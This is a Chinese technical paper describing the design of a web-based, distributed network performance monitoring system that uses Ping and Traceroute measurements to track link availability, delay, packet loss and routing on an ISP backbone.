对于实际运行中的网络应用系统,系统管理员需要对其运行效率进行监控和性能分析,通过有效的管理开展最佳服务。对于欲建的网络应用系统,网络设计者需要验证其设计方案的可行性,以建立最优的网络环境。网络规模越大,网络性能监测和性能分析工作越显重要。
对网络性能进行全面监测,是有效管理网络的基础。这种方式之所以目前还没有被广泛采用,主要是因为传统网络监控工具存在着以下几个缺点:网络监测工具本身会增加网络的流量,对网络本身造成很大的影响;网络监控工具造价太高,过于昂贵;网络监控工具都比较复杂,需要专业人士才能操作。因此,需要开发一种更方便有效的网络监测工具,使其具有更强的实用性。
一、开发思路及设计原则
我们在制定系统框架设计方案时,力求克服现有网络监测系统所存在的问题,例如服务器端采用开放式操作系统Linux(同时提供到Unix的移植)以降低成本,将管理界面设计得简单明了,降低对操作者的专业要求等等。
同时,考虑到系统的开放性、可相互操作性和灵活性,应创建一个独立平台的通用网管系统,我们可以使用Web服务器和浏览器来提供静态、动态和交互的管理信息。基于Web的性能监测系统有很多优点,例如:管理者的操作不受地理位置的限制,可以在任何装有Web浏览器的平台下访问;对系统的维护只需在Server上进行,无需在客户端修改,降低了维护费用;可以获得各种可在任何操作系统平台上使用的简单而有效的管理界面,特别适合于低成本、易于理解和远程访问的网络运行环境。
我们可以采用分布式测量方法,在每个被测节点处安装一个测量程序,由该程序完成相应的测量工作,并将最后的测量结果返回服务器。这样不仅避免了将所有的监测工作全部放在服务器上,造成服务器负载过重的弊病,减轻了服务器的负担,而且使系统具有很强的可扩展性。当网络拓扑结构扩展的时候,已有的系统不需要做任何变动,只需要在新增的节点上放上测量程序,在配置信息中加入新增节点的相关测量信息,就可以实现对整个扩展后的系统的监测。
服务器端采用Linux下的标准C系统,客户端软件利用VC++进行程序设计。VC++提供了大量的框架模型及类库,使软件的开发与设计变得更为方便。利用C++语言也是为了保证软件各部分的接口与软件运行的速率。
二、具体系统设计与实现
1.开发目标
国内外已有的性能监测软件,主要是对网络硬件设备以及网络提供的各种服务性能进行监测。本系统的侧重点是从网络层(IP层)给出网络的性能指标,从而为网络性能的分析和管理提供一定的依据和必要的数据。其中主要的性能参数包括以下几方面。
(1)可用性(Availability):链路的可用性是指有物理连接的链路的性能状况。这个信息可以通过类似于Ping程序来实现,即向目标节点发送ICMP报文,如果总是或者过于频繁地出现在等待时间内没有ICMP报文的回应信息,则判断该链路出现故障,是不可用的,管理员应该采取相应的措施。
(2)点到点的延时(End to End Delay) :网络延时是指报文在指定两点间的往返时间(即我们所说的rtt时间)。这个信息也可以使用类似于Ping程序来实现,即向目标节点发送ICMP报文,并根据收到的ICMP报文的回应报文与发送ICMP报文的时间差,求出两点间的延时信息。
(3)丢包率(Packet Loss Ratio):丢包率是指在网络中由于拥塞或其它原因被路由器抛弃的报文在节点发出的报文总数中所占的比例。同样可以通过向目标节点发送ICMP报文,然后通过接收到的回应报文和其发出报文的总数的比值得到这个参数。
(4)路径信息(Routing Information):主要记录两个节点间的路由情况,即源节点在到达目标节点的过程中,实际经过了哪些节点。
2.系统总体框架
本系统采用分布式测量和集中管理的办法,整个系统采用Client/Server的方式,分为三大模块:测量模块、分析模块和用户接口模块,系统总体框架如图1所示。其中,测量模块负责网络链路状态的测量,它对用户到主干网节点、主干网节点之间、主干网节点到用户的链路性能(网络延时和丢包率)进行测量,并将测量所得结果发送给服务器存入测量数据库,以备分析模块时使用。分析模块定时从测量数据库中取出测量数据结果进行处理,通过对各项指标的测量结果的综合分析,将分析结果写入分析数据库中,同时结合网络运行的特点以及用户与ISP之间的服务水平协议(SLA)的要求,对网络性能做出初步判断,并将性能不满足指标的链路以报警信息的形式报告给管理员。用户接口模块负责将网络管理员所配置的信息写入配置数据库中,同时查询分析数据库,将分析的结果以Web页面的形式返回给管理员查看。
这三种模块主要通过数据库进行联接。该系统中存在三种数据库:(1)测量数据库,用于存放测量模块获得的测量信息;(2) 分析数据库,用于存放分析模块的统计信息;(3)配置数据库,用于存放测量模块需要的各种测量配置信息,如测量节点、测量间隔时间、是否需要详细路径信息等等。
系统的总流程如下:
网络管理员通过Web页面对系统参数进行配置,用户接口模块读取配置信息后,将结果存放于配置数据库中;
测量模块向服务器发出请求,服务器读取配置数据库的信息后,将所得配置信息返回给测量模块,使其设置测量方式;
测量模块按照测量参数进行测量,并将测量结果数据返回给服务器,由其存放于测量数据库中;
分析模块定时读取测量数据库中的数据信息,对其进行统计、分析,将结果存放在分析数据库中,并将测量数据库中分析过的数据删除;
当网络管理员想了解网络状况的时候,用户接口模块会读取分析数据库中的数据,并通过Web界面,以图形、报表、图表等多种形式返回给管理员,并对性能较差的链路给出报警信息。
3.测量部分的设计与实现
测量模块负责网络链路状态的测量,包括三种测量方式:(1)用户到主干节点的测量;(2)主干网节点间的测量;(3)主干网节点到用户的测量。(2)、(3)都是从监控工作站发起的有规律的、可由网络管理员控制的主动测量。(1)是由用户发起的到任意站点的测量(我们称之为被动测量),是不可预测的。通过用户接口界面,管理员可以配置测量模块的各种配置信息,然后将这些配置信息存到配置数据库中,最后由服务器读取配置信息,将其传送给测量模块,使其根据配置信息指定的测量方式进行测量。
主动测量主要是骨干网分布节点之间的有规律的定时测量和骨干网测量节点到用户的随机抽样的定时测量。主动测量分为两类。
(1)骨干网测量节点到骨干网任意被测节点之间的测量:这部分测量的目的是为给出测量节点和被测节点之间的网络性能矩阵,并为总控分析模块提供对主干网的分析数据。测量参数由管理员事先配置。
(2)骨干网节点到用户的测量:这部分测量的目的是为了给出测量点到接入用户之间的网络性能,进一步使得网络管理人员判断接入服务器和其他相关设备是否工作正常。我们将从接入服务器所持有的IP范围中做随机抽取一定数量的IP地址,然后进行测试。测量方法和细节与前面类似。
主动测量的流程如下:
(1)测量模块向服务器发起请求,通过服务器的认证后,服务器将从配置数据库中得到的数据传给测量模块;
(2)测量模块根据得到的配置参数进行测量;
(3)测量完毕后,测量模块将所得测量信息传回服务器,并使自己进入睡眠状态,直至下一次测量开始(配置参数中有一个测量时间间隔的参数控制测量间隔);
(4)服务器得到测量参数后将其传回测量数据库,一次测量完成。
被动测量是由用户随机发起的对检测点的集中测量。其测量不仅可以帮助用户了解访问某些站点速度不理想的原因,还可以帮助ISP在处理用户投诉时具体定位故障位置。考虑到管理员和普通用户的不同要求,客户端测量模块又可分为两个部分:从管理员关心的角度出发,程序开始运行后将自动定时测量固定节点的性能(如省网出口路由器、国家网出口路由器等),这将帮助管理员定位网络故障位置;从用户关心的角度出发,用户可以对任意他所关心的节点发起测量,了解当前网络状况。
自动定时测量的流程与主动测量一样,这里不再重复了。用户发起的测量流程如下:
用户选择测量节点IP以及其它测量参数;
测量模块根据参数进行测量;
测量结果以图形的形式返回给用户。
4.分析模块的设计与实现
分析模块主要对测量模块获得的数据进行分析,分析参数主要包括可用性、延时和丢包率。根据用户的要求,分析包括:(1)点到点(或端到端)的延时或丢包率随时间的变化规律;(2)主干节点与相邻链路的延时或丢包率的空间分布规律;(3)用户到主干节点的延时或丢包率随时间的变化规律;(4)主干节点到用户的延时或丢包率随时间的变化规律;(5)用户到省网出口路由器或国家网出口路由器的延时或丢包率随时间的变化规律;(6)主干节点到主干节点的路径变化规律;(7)用户到主干节点的路径变化规律。
分析模块是一个单独运行的进程,它是按照设定时间间隔定时分析。其操作步骤为:
分析模块读取测量数据库的测量信息;
分析模块进行统计、分析;
分析模块将分析后的数据存放在分析数据库中。
分析模块如果在分析过程中发现网络出现错误或出现需要告警的信息,就将这些信息写入错误、告警数据库。
5.用户接口模块的设计与实现
用户接口模块主要用于用户配置测量模块需要的测量参数,以及查询分析模块分析后的数据。它包括两大部分:用户配置接口和用户查询接口。
用户配置接口是用户配置部分的程序接口,它读取用户的配置信息,并将这些信息存入到配置数据库,包括六种参数设置。
(1)主干节点间测量参数设置:设置的参数包括测量方法的选择(Ping或Traceroute测量),每次测量发送数据报的数目、大小、TTL值等。设置的结果是给分布测量中的主干到主干测量部分使用;
(2)主干节点间连接关系设置:设置主干节点间的连接关系信息,从这个设置的结果可以反映主干网的拓扑结构信息。设置的结果是给性能分析中的主干节点空间分析使用;
(3)主干节点与接入服务器设置:设置主干边缘节点、接入服务器以及用户节点的连接关系信息,主要设置包括边缘节点连接接入服务器IP地址以及每个接入服务器对应的IP地址范围。设置的结果是用来在写数据库时确定用户所属的接入服务器;
(4)主干节点IP、域名和别名设置:设置主干节点的IP地址、域名、别名,目的是便于用户记住已设置的主干。设置的结果是给用户接口中的查询部分使用。
(5)用户测量参数设置:设置用户测量主干节点和出口路由器的一些参数,具体参数和(1)中差不多,设置的结果是给分布测量中的用户测量部分和主干到用户测量部分使用。
(6)省网、国家网出口路由器设置:设置网络的省网、国家网的出口路由器。设置的结果是给分布测量中的用户测量部分使用。
6.用户查询接口的功能
用户查询接口是用户查询分析数据的程序接口,它读取测量模块分析后的数据,并将这些数据以各种形式显示出来。数据库维护模块用于整理分析数据库和报警、错误数据库中的过时数据。它主要包括8个子功能。
(1)主干节点间的性能查询:给出主干节点间的性能矩阵,主干节点间的性能随时间和空间的分布规律图,以及主干节点间的SLA评价;
(2)主干节点到用户的性能查询:此功能模块是给出主干节点回测用户时得到的网络性能,包括最小、平均、最大时延和丢包率,有最新、当天、一周、一月和总体这五种性能表;
(3)用户到主干节点的性能查询:此功能模块是给出用户测量主干节点时得到的网络性能,包括最小、平均、最大时延和丢包率。有最新、当天、一周、一月和总体这五种性能表;
(4)主干节点间的路径信息查询:主干节点间的路由路径信息查询结果可由图形和(或)报表两种形式给出,包括路径经过的各个节点的IP地址以及这条路径走的次数;
(5)主干节点间的空间信息查询:此功能模块用来查询某个主干节点到其所有相邻主干节点的网络性能,结果以图形和(或)报表的形式给出;
(6)用户到出口路由器信息查询:此功能模块是给出用户测量主干节点时得到的网络性能,包括最小、平均、最大时延和丢包率,有最新、当天、一周、一月和总体这五种性能表;
(7)用户到主干节点路径信息的查询:此功能模块用户到主干节点间的路由路径信息,结果可由图形和(或)报表两种形式给出,包括路径经过的各个节点的IP地址以及这条路径走的次数;
(8)配置信息的查询:此功能模块用来让使用者查询系统已经设置的运行参数。所有的结果都是以表格形式给出。
三、总结
该网络性能监测系统具有三个功能:对局域网和广域网的设备和链路进行监控;检测各种可能的错误,并给出报警信息;帮助定位和解决故障。该系统在开发时选取普通PC机以及免费的操作系统Linux(基于Linux的大型数据库Oracle也有免费下载版本),可以降低开发成本。系统的监测时间间隔是可以由管理员根据网络情况自动调整进行,这样避免了在网络流量过大的情况下,监控系统本身所产生的大量数据包使网络性能恶化;另外,该系统的各个模块之间均是以数据库来连接的,耦合性不强且易于扩展。当然,本系统也还有些不足之处,例如用户端的测量模块,目前是独立的运行程序,需要用户下载才能使用,以后的版本中可以考虑用浏览器插件的形式实现。
该系统在广州电信局试运行过,用于对广东省163网的性能进行监测。在试运行过程中,该系统运行可靠、稳定,各项功能达到设计要求,管理员可以通过它对网络进行监控,及时发现网络中存在的问题,并采取相应的措施,该系统为管理员提供了多种网络监控的工具。
[网络测试系统论文]
★ 贺信的及分类